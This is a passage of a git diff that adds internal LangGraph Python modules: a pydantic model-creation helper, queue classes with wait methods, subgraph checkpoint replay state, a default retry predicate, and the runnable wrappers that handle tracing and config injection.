+    """This remaps fields to avoid colliding with internal pydantic fields."""
+
+    remapped = {}
+    for key, value in field_definitions.items():
+        if key.startswith("_") or key in _RESERVED_NAMES:
+            # Let's add a prefix to avoid colliding with internal pydantic fields
+            if isinstance(value, FieldInfo):
+                msg = (
+                    f"Remapping for fields starting with '_' or fields with a name "
+                    f"matching a reserved name {_RESERVED_NAMES} is not supported if "
+                    f" the field is a pydantic Field instance. Got {key}."
+                )
+                raise NotImplementedError(msg)
+            type_, default_ = value
+            remapped[f"private_{key}"] = (
+                type_,
+                Field(
+                    default=default_,
+                    alias=key,
+                    serialization_alias=key,
+                    title=key.lstrip("_").replace("_", " ").title(),
+                ),
+            )
+        else:
+            remapped[key] = value
+    return remapped
+
+
+def create_model(
+    model_name: str,
+    *,
+    field_definitions: dict[str, Any] | None = None,
+    root: Any | None = None,
+) -> type[BaseModel]:
+    """Create a pydantic model with the given field definitions.
+
+    Attention:
+        Please do not use outside of langchain packages. This API
+        is subject to change at any time.
+
+    Args:
+        model_name: The name of the model.
+        module_name: The name of the module where the model is defined.
+            This is used by Pydantic to resolve any forward references.
+        field_definitions: The field definitions for the model.
+        root: Type for a root model (RootModel)
+
+    Returns:
+        Type[BaseModel]: The created model.
+    """
+    field_definitions = field_definitions or {}
+
+    if root:
+        if field_definitions:
+            msg = (
+                "When specifying __root__ no other "
+                f"fields should be provided. Got {field_definitions}"
+            )
+            raise NotImplementedError(msg)
+
+        if isinstance(root, tuple):
+            kwargs = {"type_": root[0], "default_": root[1]}
+        else:
+            kwargs = {"type_": root}
+
+        try:
+            named_root_model = _create_root_model_cached(model_name, **kwargs)
+        except TypeError:
+            # something in the arguments into _create_root_model_cached is not hashable
+            named_root_model = _create_root_model(
+                model_name,
+                **kwargs,
+            )
+        return named_root_model
+
+    # No root, just field definitions
+    names = set(field_definitions.keys())
+
+    capture_warnings = False
+
+    for name in names:
+        # Also if any non-reserved name is used (e.g., model_id or model_name)
+        if name.startswith("model"):
+            capture_warnings = True
+
+    with warnings.catch_warnings() if capture_warnings else nullcontext():
+        if capture_warnings:
+            warnings.filterwarnings(action="ignore")
+        try:
+            return _create_model_cached(model_name, **field_definitions)
+        except TypeError:
+            # something in field definitions is not hashable
+            return _create_model_base(
+                model_name,
+                __config__=_SchemaConfig,
+                **_remap_field_definitions(field_definitions),
+            )
+
+
+def is_supported_by_pydantic(type_: Any) -> bool:
+    """Check if a given "complex" type is supported by pydantic.
+
+    This will return False for primitive types like int, str, etc.
+
+    The check is meant for container types like dataclasses, TypedDicts, etc.
+    """
+    if is_dataclass(type_):
+        return True
+
+    if isinstance(type_, type) and issubclass(type_, BaseModel):
+        return True
+
+    if hasattr(type_, "__orig_bases__"):
+        for base in type_.__orig_bases__:
+            if base is TypedDict:
+                return True
+            elif base is typing.TypedDict:  # noqa: TID251
+                # ignoring TID251 since it's OK to use typing.TypedDict in this case.
+                # Pydantic supports typing.TypedDict from Python 3.12
+                # For older versions, only typing_extensions.TypedDict is supported.
+                if sys.version_info >= (3, 12):
+                    return True
+    return False
diff --git a/libs/langgraph/langgraph/_internal/_queue.py b/libs/langgraph/langgraph/_internal/_queue.py
new file mode 100644
index 0000000..b2cc02a
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_queue.py
@@ -0,0 +1,124 @@
+# type: ignore
+from __future__ import annotations
+
+import asyncio
+import queue
+import threading
+import types
+from collections import deque
+from time import monotonic
+
+
+class AsyncQueue(asyncio.Queue):
+    """Async unbounded FIFO queue with a wait() method.
+
+    Subclassed from asyncio.Queue, adding a wait() method."""
+
+    async def wait(self) -> None:
+        """If queue is empty, wait until an item is available.
+
+        Copied from Queue.get(), removing the call to .get_nowait(),
+        ie. this doesn't consume the item, just waits for it.
+        """
+        while self.empty():
+            getter = self._get_loop().create_future()
+            self._getters.append(getter)
+            try:
+                await getter
+            except BaseException:
+                getter.cancel()  # Just in case getter is not done yet.
+                try:
+                    # Clean self._getters from canceled getters.
+                    self._getters.remove(getter)
+                except ValueError:
+                    # The getter could be removed from self._getters by a
+                    # previous put_nowait call.
+                    pass
+                if not self.empty() and not getter.cancelled():
+                    # We were woken up by put_nowait(), but can't take
+                    # the call.  Wake up the next in line.
+                    self._wakeup_next(self._getters)
+                raise
+
+
+class Semaphore(threading.Semaphore):
+    """Semaphore subclass with a wait() method."""
+
+    def wait(self, blocking: bool = True, timeout: float | None = None):
+        """Block until the semaphore can be acquired, but don't acquire it."""
+        if not blocking and timeout is not None:
+            raise ValueError("can't specify timeout for non-blocking acquire")
+        rc = False
+        endtime = None
+        with self._cond:
+            while self._value == 0:
+                if not blocking:
+                    break
+                if timeout is not None:
+                    if endtime is None:
+                        endtime = monotonic() + timeout
+                    else:
+                        timeout = endtime - monotonic()
+                        if timeout <= 0:
+                            break
+                self._cond.wait(timeout)
+            else:
+                rc = True
+        return rc
+
+
+class SyncQueue:
+    """Unbounded FIFO queue with a wait() method.
+    Adapted from pure Python implementation of queue.SimpleQueue.
+    """
+
+    def __init__(self):
+        self._queue = deque()
+        self._count = Semaphore(0)
+
+    def put(self, item, block=True, timeout=None):
+        """Put the item on the queue.
+
+        The optional 'block' and 'timeout' arguments are ignored, as this method
+        never blocks.  They are provided for compatibility with the Queue class.
+        """
+        self._queue.append(item)
+        self._count.release()
+
+    def get(self, block=False, timeout=None):
+        """Remove and return an item from the queue.
+
+        If optional args 'block' is true and 'timeout' is None (the default),
+        block if necessary until an item is available. If 'timeout' is
+        a non-negative number, it blocks at most 'timeout' seconds and raises
+        the Empty exception if no item was available within that time.
+        Otherwise ('block' is false), return an item if one is immediately
+        available, else raise the Empty exception ('timeout' is ignored
+        in that case).
+        """
+        if timeout is not None and timeout < 0:
+            raise ValueError("'timeout' must be a non-negative number")
+        if not self._count.acquire(block, timeout):
+            raise queue.Empty
+        try:
+            return self._queue.popleft()
+        except IndexError:
+            raise queue.Empty
+
+    def wait(self, block=True, timeout=None):
+        """If queue is empty, wait until an item maybe is available,
+        but don't consume it.
+        """
+        if timeout is not None and timeout < 0:
+            raise ValueError("'timeout' must be a non-negative number")
+        self._count.wait(block, timeout)
+
+    def empty(self):
+        """Return True if the queue is empty, False otherwise (not reliable!)."""
+        return len(self._queue) == 0
+
+    def qsize(self):
+        """Return the approximate size of the queue (not reliable!)."""
+        return len(self._queue)
+
+    __class_getitem__ = classmethod(types.GenericAlias)
diff --git a/libs/langgraph/langgraph/_internal/_replay.py b/libs/langgraph/langgraph/_internal/_replay.py
new file mode 100644
index 0000000..a86c133
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_replay.py
@@ -0,0 +1,90 @@
+"""Replay state for subgraph checkpoint loading during time-travel."""
+
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from langgraph._internal._constants import NS_END
+
+if TYPE_CHECKING:
+    from langchain_core.runnables import RunnableConfig
+    from langgraph.checkpoint.base import BaseCheckpointSaver, CheckpointTuple
+
+
+class ReplayState:
+    """Tracks which subgraphs have already loaded their pre-replay checkpoint.
+
+    During a parent replay, each subgraph's first invocation should restore the
+    checkpoint from before the replay point. Subsequent invocations of the same
+    subgraph (e.g. in a loop) should use normal checkpoint loading so they pick
+    up freshly created checkpoints.
+
+    The single `ReplayState` instance is shared by reference across all derived
+    configs within one parent execution.
+    """
+
+    __slots__ = ("checkpoint_id", "_visited_ns")
+
+    def __init__(self, checkpoint_id: str) -> None:
+        self.checkpoint_id = checkpoint_id
+        # DO NOT CHANGE THIS VARIABLE – it may need to be rehydrated
+        # in other runtimes
+        self._visited_ns: set[str] = set()
+
+    def _is_first_visit(self, checkpoint_ns: str) -> bool:
+        """Return True the first time a subgraph namespace is seen.
+
+        The task-id suffix is stripped so that the same logical subgraph
+        (e.g. ``"sub_node"``) is recognized across loop iterations even
+        though each iteration has a different task id.
+        """
+        # "sub_node:task_id" -> "sub_node"
+        stable_ns = (
+            checkpoint_ns.rsplit(NS_END, 1)[0]
+            if NS_END in checkpoint_ns
+            else checkpoint_ns
+        )
+        if stable_ns in self._visited_ns:
+            return False
+        self._visited_ns.add(stable_ns)
+        return True
+
+    def get_checkpoint(
+        self,
+        checkpoint_ns: str,
+        checkpointer: BaseCheckpointSaver,
+        checkpoint_config: RunnableConfig,
+    ) -> CheckpointTuple | None:
+        """Load the right checkpoint for a subgraph during replay.
+
+        On the first call for a given subgraph namespace, returns the latest
+        checkpoint created *before* the replay point. On subsequent calls
+        (e.g. the same subgraph in a later loop iteration), falls back to
+        normal latest-checkpoint loading.
+        """
+        if self._is_first_visit(checkpoint_ns):
+            for saved in checkpointer.list(
+                checkpoint_config,
+                before={"configurable": {"checkpoint_id": self.checkpoint_id}},
+                limit=1,
+            ):
+                return saved
+            return None
+        return checkpointer.get_tuple(checkpoint_config)
+
+    async def aget_checkpoint(
+        self,
+        checkpoint_ns: str,
+        checkpointer: BaseCheckpointSaver,
+        checkpoint_config: RunnableConfig,
+    ) -> CheckpointTuple | None:
+        """Async version of `get_checkpoint`."""
+        if self._is_first_visit(checkpoint_ns):
+            async for saved in checkpointer.alist(
+                checkpoint_config,
+                before={"configurable": {"checkpoint_id": self.checkpoint_id}},
+                limit=1,
+            ):
+                return saved
+            return None
+        return await checkpointer.aget_tuple(checkpoint_config)
diff --git a/libs/langgraph/langgraph/_internal/_retry.py b/libs/langgraph/langgraph/_internal/_retry.py
new file mode 100644
index 0000000..8d4e41f
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_retry.py
@@ -0,0 +1,29 @@
+def default_retry_on(exc: Exception) -> bool:
+    import httpx
+    import requests
+
+    if isinstance(exc, ConnectionError):
+        return True
+    if isinstance(exc, httpx.HTTPStatusError):
+        return 500 <= exc.response.status_code < 600
+    if isinstance(exc, requests.HTTPError):
+        return 500 <= exc.response.status_code < 600 if exc.response else True
+    if isinstance(
+        exc,
+        (
+            ValueError,
+            TypeError,
+            ArithmeticError,
+            ImportError,
+            LookupError,
+            NameError,
+            SyntaxError,
+            RuntimeError,
+            ReferenceError,
+            StopIteration,
+            StopAsyncIteration,
+            OSError,
+        ),
+    ):
+        return False
+    return True
diff --git a/libs/langgraph/langgraph/_internal/_runnable.py b/libs/langgraph/langgraph/_internal/_runnable.py
new file mode 100644
index 0000000..0c110b9
--- /dev/null
+++ b/libs/langgraph/langgraph/_internal/_runnable.py
@@ -0,0 +1,942 @@
+from __future__ import annotations
+
+import asyncio
+import enum
+import inspect
+import sys
+import warnings
+from collections.abc import (
+    AsyncIterator,
+    Awaitable,
+    Callable,
+    Coroutine,
+    Generator,
+    Iterator,
+    Sequence,
+)
+from contextlib import AsyncExitStack, contextmanager
+from contextvars import Context, Token, copy_context
+from functools import partial, wraps
+from typing import (
+    Any,
+    Optional,
+    Protocol,
+    TypeGuard,
+    cast,
+)
+
+from langchain_core.runnables.base import (
+    Runnable,
+    RunnableConfig,
+    RunnableLambda,
+    RunnableParallel,
+    RunnableSequence,
+)
+from langchain_core.runnables.base import (
+    RunnableLike as LCRunnableLike,
+)
+from langchain_core.runnables.config import (
+    run_in_executor,
+    var_child_runnable_config,
+)
+from langchain_core.runnables.utils import Input, Output
+from langchain_core.tracers.langchain import LangChainTracer
+from langgraph.store.base import BaseStore
+
+from langgraph._internal._config import (
+    ensure_config,
+    get_async_callback_manager_for_config,
+    get_callback_manager_for_config,
+    patch_config,
+)
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_NODE_ERROR,
+    CONFIG_KEY_RUNTIME,
+)
+from langgraph._internal._typing import MISSING
+from langgraph.errors import NodeError
+from langgraph.types import StreamWriter
+
+try:
+    from langchain_core.tracers._streaming import _StreamingCallbackHandler
+except ImportError:
+    _StreamingCallbackHandler = None  # type: ignore
+
+
+def _set_config_context(
+    config: RunnableConfig, run: Any = None
+) -> Token[RunnableConfig | None]:
+    """Set the child Runnable config + tracing context.
+
+    Args:
+        config: The config to set.
+    """
+    config_token = var_child_runnable_config.set(config)
+    if run is not None:
+        from langsmith.run_helpers import _set_tracing_context
+
+        _set_tracing_context({"parent": run})
+    return config_token
+
+
+def _unset_config_context(token: Token[RunnableConfig | None], run: Any = None) -> None:
+    """Set the child Runnable config + tracing context.
+
+    Args:
+        token: The config token to reset.
+    """
+    var_child_runnable_config.reset(token)
+    if run is not None:
+        from langsmith.run_helpers import _set_tracing_context
+
+        _set_tracing_context(
+            {
+                "parent": None,
+                "project_name": None,
+                "tags": None,
+                "metadata": None,
+                "enabled": None,
+                "client": None,
+            }
+        )
+
+
+@contextmanager
+def set_config_context(
+    config: RunnableConfig, run: Any = None
+) -> Generator[Context, None, None]:
+    """Set the child Runnable config + tracing context.
+
+    Args:
+        config: The config to set.
+    """
+    ctx = copy_context()
+    config_token = ctx.run(_set_config_context, config, run)
+    try:
+        yield ctx
+    finally:
+        ctx.run(_unset_config_context, config_token, run)
+
+
+def create_task_in_config_context(
+    coro_factory: Callable[[], Coroutine[Any, Any, Any]], config: RunnableConfig
+) -> asyncio.Task[Any]:
+    """Create an asyncio.Task that inherits `config` as the child runnable context.
+
+    `asyncio.create_task` snapshots the current contextvars onto the new task,
+    so calling `create_task` while the config context is set ensures the task
+    sees `config` via `var_child_runnable_config` and any tracing parent.
+    """
+    with set_config_context(config) as context:
+        return context.run(lambda: asyncio.create_task(coro_factory()))
+
+
+# Before Python 3.11 native StrEnum is not available
+class StrEnum(str, enum.Enum):
+    """A string enum."""
+
+
+# Special type to denote any type is accepted
+ANY_TYPE = object()
+
+ASYNCIO_ACCEPTS_CONTEXT = sys.version_info >= (3, 11)
+
+# List of keyword arguments that can be injected into nodes / tasks / tools at runtime.
+# A named argument may appear multiple times if it appears with distinct types.
+KWARGS_CONFIG_KEYS: tuple[tuple[str, tuple[Any, ...], str, Any], ...] = (
+    (
+        "config",
+        (
+            RunnableConfig,
+            "RunnableConfig",
+            Optional[RunnableConfig],  # noqa: UP045
+            "Optional[RunnableConfig]",
+            inspect.Parameter.empty,
+        ),
+        # for now, use config directly, eventually, will pop off of Runtime
+        "N/A",
+        inspect.Parameter.empty,
+    ),
+    (
+        "writer",
+        (StreamWriter, "StreamWriter", inspect.Parameter.empty),
+        "stream_writer",
+        lambda _: None,
+    ),
+    (
+        "store",
+        (
+            BaseStore,
+            "BaseStore",
+            inspect.Parameter.empty,
+        ),
+        "store",
+        inspect.Parameter.empty,
+    ),
+    (
+        "store",
+        (
+            Optional[BaseStore],  # noqa: UP045
+            "Optional[BaseStore]",
+        ),
+        "store",
+        None,
+    ),
+    (
+        "previous",
+        (ANY_TYPE,),
+        "previous",
+        inspect.Parameter.empty,
+    ),
+    (
+        "runtime",
+        (ANY_TYPE,),
+        # we never hit this block, we just inject runtime directly
+        "N/A",
+        inspect.Parameter.empty,
+    ),
+    (
+        "error",
+        (NodeError, "NodeError"),
+        # we never hit this block, we read directly from configurable
+        "N/A",
+        # default to None so non-handler nodes that happen to type a parameter
+        # `error: NodeError` don't blow up; handlers always receive a NodeError.
+        None,
+    ),
+)
+"""List of kwargs that can be passed to functions, and their corresponding
+config keys, default values and type annotations.
+
+Used to configure keyword arguments that can be injected at runtime
+from the `Runtime` object as kwargs to `invoke`, `ainvoke`, `stream` and `astream`.
+
+For a keyword to be injected from the config object, the function signature
+must contain a kwarg with the same name and a matching type annotation.
+
+Each tuple contains:
+- the name of the kwarg in the function signature
+- the type annotation(s) for the kwarg
+- the `Runtime` attribute for fetching the value (N/A if not applicable)
+
+This is fully internal and should be further refactored to use `get_type_hints`
+to resolve forward references and optional types formatted like BaseStore | None.
+"""
+
+VALID_KINDS = (inspect.Parameter.POSITIONAL_OR_KEYWORD, inspect.Parameter.KEYWORD_ONLY)
+
+
+class _RunnableWithWriter(Protocol[Input, Output]):
+    def __call__(self, state: Input, *, writer: StreamWriter) -> Output: ...
+
+
+class _RunnableWithStore(Protocol[Input, Output]):
+    def __call__(self, state: Input, *, store: BaseStore) -> Output: ...
+
+
+class _RunnableWithWriterStore(Protocol[Input, Output]):
+    def __call__(
+        self, state: Input, *, writer: StreamWriter, store: BaseStore
+    ) -> Output: ...
+
+
+class _RunnableWithConfigWriter(Protocol[Input, Output]):
+    def __call__(
+        self, state: Input, *, config: RunnableConfig, writer: StreamWriter
+    ) -> Output: ...
+
+
+class _RunnableWithConfigStore(Protocol[Input, Output]):
+    def __call__(
+        self, state: Input, *, config: RunnableConfig, store: BaseStore
+    ) -> Output: ...
+
+
+class _RunnableWithConfigWriterStore(Protocol[Input, Output]):
+    def __call__(
+        self,
+        state: Input,
+        *,
+        config: RunnableConfig,
+        writer: StreamWriter,
+        store: BaseStore,
+    ) -> Output: ...
+
+
+RunnableLike = (
+    LCRunnableLike
+    | _RunnableWithWriter[Input, Output]
+    | _RunnableWithStore[Input, Output]
+    | _RunnableWithWriterStore[Input, Output]
+    | _RunnableWithConfigWriter[Input, Output]
+    | _RunnableWithConfigStore[Input, Output]
+    | _RunnableWithConfigWriterStore[Input, Output]
+)
+
+
+class RunnableCallable(Runnable):
+    """A much simpler version of RunnableLambda that requires sync and async functions."""
+
+    def __init__(
+        self,
+        func: Callable[..., Any | Runnable] | None,
+        afunc: Callable[..., Awaitable[Any | Runnable]] | None = None,
+        *,
+        name: str | None = None,
+        tags: Sequence[str] | None = None,
+        trace: bool = True,
+        recurse: bool = True,
+        explode_args: bool = False,
+        **kwargs: Any,
+    ) -> None:
+        self.name = name
+        if self.name is None:
+            if func:
+                try:
+                    if func.__name__ != "":
+                        self.name = func.__name__
+                except AttributeError:
+                    pass
+            elif afunc:
+                try:
+                    self.name = afunc.__name__
+                except AttributeError:
+                    pass
+        self.func = func
+        self.afunc = afunc
+        self.tags = tags
+        self.kwargs = kwargs
+        self.trace = trace
+        self.recurse = recurse
+        self.explode_args = explode_args
+        # check signature
+        if func is None and afunc is None:
+            raise ValueError("At least one of func or afunc must be provided.")
+
+        self.func_accepts: dict[str, tuple[str, Any]] = {}
+        params = inspect.signature(cast(Callable, func or afunc)).parameters
+
+        for kw, typ, runtime_key, default in KWARGS_CONFIG_KEYS:
+            p = params.get(kw)
+
+            if p is None or p.kind not in VALID_KINDS:
+                # If parameter is not found or is not a valid kind, skip
+                continue
+
+            if typ != (ANY_TYPE,) and p.annotation not in typ:
+                # A specific type is required, but the function annotation does
+                # not match the expected type.
+
+                # If this is a config parameter with incorrect typing, emit a warning
+                # because we used to support any type but are moving towards more correct typing
+                if kw == "config" and p.annotation != inspect.Parameter.empty:
+                    warnings.warn(
+                        f"The 'config' parameter should be typed as 'RunnableConfig' or "
+                        f"'RunnableConfig | None', not '{p.annotation}'. ",
+                        UserWarning,
+                        stacklevel=4,
+                    )
+                continue
+
+            # If the kwarg is accepted by the function, store the key / runtime attribute to inject
+            self.func_accepts[kw] = (runtime_key, default)
+
+    def __repr__(self) -> str:
+        repr_args = {
+            k: v
+            for k, v in self.__dict__.items()
+            if k not in {"name", "func", "afunc", "config", "kwargs", "trace"}
+        }
+        return f"{self.get_name()}({', '.join(f'{k}={v!r}' for k, v in repr_args.items())})"
+
+    def invoke(
+        self, input: Any, config: RunnableConfig | None = None, **kwargs: Any
+    ) -> Any:
+        if self.func is None:
+            raise TypeError(
+                f'No synchronous function provided to "{self.name}".'
+                "\nEither initialize with a synchronous function or invoke"
+                " via the async API (ainvoke, astream, etc.)"
+            )
+        if config is None:
+            config = ensure_config()
+        if self.explode_args:
+            args, _kwargs = input
+            kwargs = {**self.kwargs, **_kwargs, **kwargs}
+        else:
+            args = (input,)
+            kwargs = {**self.kwargs, **kwargs}
+
+        runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+
+        for kw, (runtime_key, default) in self.func_accepts.items():
+            # If the kwarg is already set, use the set value
+            if kw in kwargs:
+                continue
+
+            kw_value: Any = MISSING
+            if kw == "config":
+                kw_value = config
+            elif kw == "error":
+                kw_value = config.get(CONF, {}).get(CONFIG_KEY_NODE_ERROR, MISSING)
+            elif runtime:
+                if kw == "runtime":
+                    kw_value = runtime
+                else:
+                    try:
+                        kw_value = getattr(runtime, runtime_key)
+                    except AttributeError:
+                        pass
+
+            if kw_value is MISSING:
+                if default is inspect.Parameter.empty:
+                    raise ValueError(
+                        f"Missing required config key '{runtime_key}' for '{self.name}'."
+                    )
+                kw_value = default
+            kwargs[kw] = kw_value
+
+        if self.trace:
+            callback_manager = get_callback_manager_for_config(config, self.tags)
+            run_manager = callback_manager.on_chain_start(
+                None,
+                input,
+                name=config.get("run_name") or self.get_name(),
+                run_id=config.pop("run_id", None),
+            )
+            try:
+                child_config = patch_config(config, callbacks=run_manager.get_child())
+                # get the run
+                for h in run_manager.handlers:
+                    if isinstance(h, LangChainTracer):
+                        run = h.run_map.get(str(run_manager.run_id))
+                        break
+                else:
+                    run = None
+                # run in context
+                with set_config_context(child_config, run) as context:
+                    ret = context.run(self.func, *args, **kwargs)
+            except BaseException as e:
+                run_manager.on_chain_error(e)
+                raise
+            else:
+                run_manager.on_chain_end(ret)
+        else:
+            ret = self.func(*args, **kwargs)
+        if self.recurse and isinstance(ret, Runnable):
+            return ret.invoke(input, config)
+        return ret
+
+    async def ainvoke(
+        self, input: Any, config: RunnableConfig | None = None, **kwargs: Any
+    ) -> Any:
+        if not self.afunc:
+            return self.invoke(input, config)
+        if config is None:
+            config = ensure_config()
+        if self.explode_args:
+            args, _kwargs = input
+            kwargs = {**self.kwargs, **_kwargs, **kwargs}
+        else:
+            args = (input,)
+            kwargs = {**self.kwargs, **kwargs}
+
+        runtime = config.get(CONF, {}).get(CONFIG_KEY_RUNTIME)
+
+        for kw, (runtime_key, default) in self.func_accepts.items():
+            # If the kwarg has already been set, use the set value
+            if kw in kwargs:
+                continue
+
+            kw_value: Any = MISSING
+            if kw == "config":
+                kw_value = config
+            elif kw == "error":
+                kw_value = config.get(CONF, {}).get(CONFIG_KEY_NODE_ERROR, MISSING)
+            elif runtime:
+                if kw == "runtime":
+                    kw_value = runtime
+                else:
+                    try:
+                        kw_value = getattr(runtime, runtime_key)
+                    except AttributeError:
+                        pass
+            if kw_value is MISSING:
+                if default is inspect.Parameter.empty:
+                    raise ValueError(
+                        f"Missing required config key '{runtime_key}' for '{self.name}'."
+                    )
+                kw_value = default
+            kwargs[kw] = kw_value
+
+        if self.trace:
+            callback_manager = get_async_callback_manager_for_config(config, self.tags)
+            run_manager = await callback_manager.on_chain_start(
+                None,
+                input,
+                name=config.get("run_name") or self.name,
+                run_id=config.pop("run_id", None),
+            )
+            try:
+                child_config = patch_config(config, callbacks=run_manager.get_child())
+                coro = cast(Coroutine[None, None, Any], self.afunc(*args, **kwargs))
+                if ASYNCIO_ACCEPTS_CONTEXT:
+                    for h in run_manager.handlers:
+                        if isinstance(h, LangChainTracer):
+                            run = h.run_map.get(str(run_manager.run_id))
+                            break
+                    else:
+                        run = None
+                    with set_config_context(child_config, run) as context:
+                        ret = await asyncio.create_task(coro, context=context)
+                else:
+                    ret = await coro
+            except BaseException as e:
+                await run_manager.on_chain_error(e)
+                raise
+            else:
+                await run_manager.on_chain_end(ret)
+        else:
+            ret = await self.afunc(*args, **kwargs)
+        if self.recurse and isinstance(ret, Runnable):
+            return await ret.ainvoke(input, config)
+        return ret
+
+
+def is_async_callable(
+    func: Any,
+) -> TypeGuard[Callable[..., Awaitable]]:
+    """Check if a function is async."""
+    return (
+        inspect.iscoroutinefunction(func)
+        or hasattr(func, "__call__")
+        and inspect.iscoroutinefunction(func.__call__)
+    )
+
+
+def is_async_generator(
+    func: Any,
+) -> TypeGuard[Callable[..., AsyncIterator]]:
+    """Check if a function is an async generator."""
+    return (
+        inspect.isasyncgenfunction(func)
+        or hasattr(func, "__call__")
+        and inspect.isasyncgenfunction(func.__call__)
+    )
+
+
+def coerce_to_runnable(
+    thing: RunnableLike, *, name: str | None, trace: bool
+) -> Runnable:
+    """Coerce a runnable-like object into a Runnable.
+
+    Args:
+        thing: A runnable-like object.
+
+    Returns:
+        A Runnable.
+    """
+    if isinstance(thing, Runnable):
+        return thing
+    elif is_async_generator(thing) or inspect.isgeneratorfunction(thing):
+        return RunnableLambda(thing, name=name)
+    elif callable(thing):
+        if is_async_callable(thing):
+            return RunnableCallable(None, thing, name=name, trace=trace)
+        else:
+            return RunnableCallable(
+                thing,
+                wraps(thing)(partial(run_in_executor, None, thing)),  # type: ignore[arg-type]
+                name=name,
+                trace=trace,
+            )
+    elif isinstance(thing, dict):
+        return RunnableParallel(thing)
+    else:
+        raise TypeError(
+            f"Expected a Runnable, callable or dict."
+            f"Instead got an unsupported type: {type(thing)}"
+        )
+
+
+class RunnableSeq(Runnable):
+    """Sequence of `Runnable`, where the output of each is the input of the next.
+
+    `RunnableSeq` is a simpler version of `RunnableSequence` that is internal to
+    LangGraph.
+    """
+
+    def __init__(
+        self,
+        *steps: RunnableLike,
+        name: str | None = None,
+        trace_inputs: Callable[[Any], Any] | None = None,
+    ) -> None:
+        """Create a new RunnableSeq.
+
+        Args:
+            steps: The steps to include in the sequence.
+            name: The name of the `Runnable`.
+
+        Raises:
+            ValueError: If the sequence has less than 2 steps.
+        """
+        steps_flat: list[Runnable] = []
+        for step in steps:
+            if isinstance(step, RunnableSequence):
+                steps_flat.extend(step.steps)
+            elif isinstance(step, RunnableSeq):
+                steps_flat.extend(step.steps)
+            else:
+                steps_flat.append(coerce_to_runnable(step, name=None, trace=True))
+        if len(steps_flat) < 2:
+            raise ValueError(
+                f"RunnableSeq must have at least 2 steps, got {len(steps_flat)}"
+            )
+        self.steps = steps_flat
+        self.name = name
+        self.trace_inputs = trace_inputs
+
+    def __or__(
+        self,
+        other: Any,
+    ) -> Runnable:
+        if isinstance(other, RunnableSequence):
+            return RunnableSeq(
+                *self.steps,
+                other.first,
+                *other.middle,
+                other.last,
+                name=self.name or other.name,
+            )
+        elif isinstance(other, RunnableSeq):
+            return RunnableSeq(
+                *self.steps,
+                *other.steps,
+                name=self.name or other.name,
+            )
+        else:
+            return RunnableSeq(
+                *self.steps,
+                coerce_to_runnable(other, name=None, trace=True),
+                name=self.name,
+            )
+
+    def __ror__(
+        self,
+        other: Any,
+    ) -> Runnable:
+        if isinstance(other, RunnableSequence):
+            return RunnableSequence(
+                other.first,
+                *other.middle,
+                other.last,
+                *self.steps,
+                name=other.name or self.name,
+            )
+        elif isinstance(other, RunnableSeq):
+            return RunnableSeq(
+                *other.steps,
+                *self.steps,
+                name=other.name or self.name,
+            )
+        else:
+            return RunnableSequence(
+                coerce_to_runnable(other, name=None, trace=True),
+                *self.steps,
+                name=self.name,
+            )
+
+    def invoke(
+        self, input: Input, config: RunnableConfig | None = None, **kwargs: Any
+    ) -> Any:
+        if config is None:
+            config = ensure_config()
+        # setup callbacks and context
+        callback_manager = get_callback_manager_for_config(config)
+        # start the root run
+        run_manager = callback_manager.on_chain_start(
+            None,
+            self.trace_inputs(input) if self.trace_inputs is not None else input,
+            name=config.get("run_name") or self.get_name(),
+            run_id=config.pop("run_id", None),
+        )
+        # invoke all steps in sequence
+        try:
+            for i, step in enumerate(self.steps):
+                # mark each step as a child run
+                config = patch_config(
+                    config, callbacks=run_manager.get_child(f"seq:step:{i + 1}")
+                )
+                # 1st step is the actual node,
+                # others are writers which don't need to be run in context
+                if i == 0:
+                    # get the run object
+                    for h in run_manager.handlers:
+                        if isinstance(h, LangChainTracer):
+                            run = h.run_map.get(str(run_manager.run_id))
+                            break
+                    else:
+                        run = None
+                    # run in context
+                    with set_config_context(config, run) as context:
+                        input = context.run(step.invoke, input, config, **kwargs)
+                else:
+                    input = step.invoke(input, config)
+        # finish the root run
+        except BaseException as e:
+            run_manager.on_chain_error(e)
+            raise
+        else:
+            run_manager.on_chain_end(input)
+            return input
+
+    async def ainvoke(
+        self,
+        input: Input,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> Any:
+        if config is None:
+            config = ensure_config()
+        # setup callbacks
+        callback_manager = get_async_callback_manager_for_config(config)
+        # start the root run
+        run_manager = await callback_manager.on_chain_start(
+            None,
+            self.trace_inputs(input) if self.trace_inputs is not None else input,
+            name=config.get("run_name") or self.get_name(),
+            run_id=config.pop("run_id", None),
+        )
+
+        # invoke all steps in sequence
+        try:
+            for i, step in enumerate(self.steps):
+                # mark each step as a child run
+                config = patch_config(
+                    config, callbacks=run_manager.get_child(f"seq:step:{i + 1}")
+                )
+                # 1st step is the actual node,
+                # others are writers which don't need to be run in context
+                if i == 0:
+                    if ASYNCIO_ACCEPTS_CONTEXT:
+                        # get the run object
+                        for h in run_manager.handlers:
+                            if isinstance(h, LangChainTracer):
+                                run = h.run_map.get(str(run_manager.run_id))
+                                break
+                        else:
+                            run = None
+                        # run in context
+                        with set_config_context(config, run) as context:
+                            input = await asyncio.create_task(
+                                step.ainvoke(input, config, **kwargs), context=context
+                            )
+                    else:
+                        input = await step.ainvoke(input, config, **kwargs)
+                else:
+                    input = await step.ainvoke(input, config)
+        # finish the root run
+        except BaseException as e:
+            await run_manager.on_chain_error(e)
+            raise
+        else:
+            await run_manager.on_chain_end(input)
+            return input
+
+    def stream(
+        self,
+        input: Input,
+        config: RunnableConfig | None = None,
+        **kwargs: Any | None,
+    ) -> Iterator[Any]:
+        if config is None:
+            config = ensure_config()
+        # setup callbacks
+        callback_manager = get_callback_manager_for_config(config)
+        # start the root run
+        run_manager = callback_manager.on_chain_start(
+            None,
+            self.trace_inputs(input) if self.trace_inputs is not None else input,
+            name=config.get("run_name") or self.get_name(),
+            run_id=config.pop("run_id", None),
+        )
+        # get the run object
+        for h in run_manager.handlers:
+            if isinstance(h, LangChainTracer):
+                run = h.run_map.get(str(run_manager.run_id))
+                break
+        else:
+            run = None
+        # create first step config
+        config = patch_config(
+            config,
+            callbacks=run_manager.get_child(f"seq:step:{1}"),
+        )
+        # run all in context
+        with set_config_context(config, run) as context:
+            try:
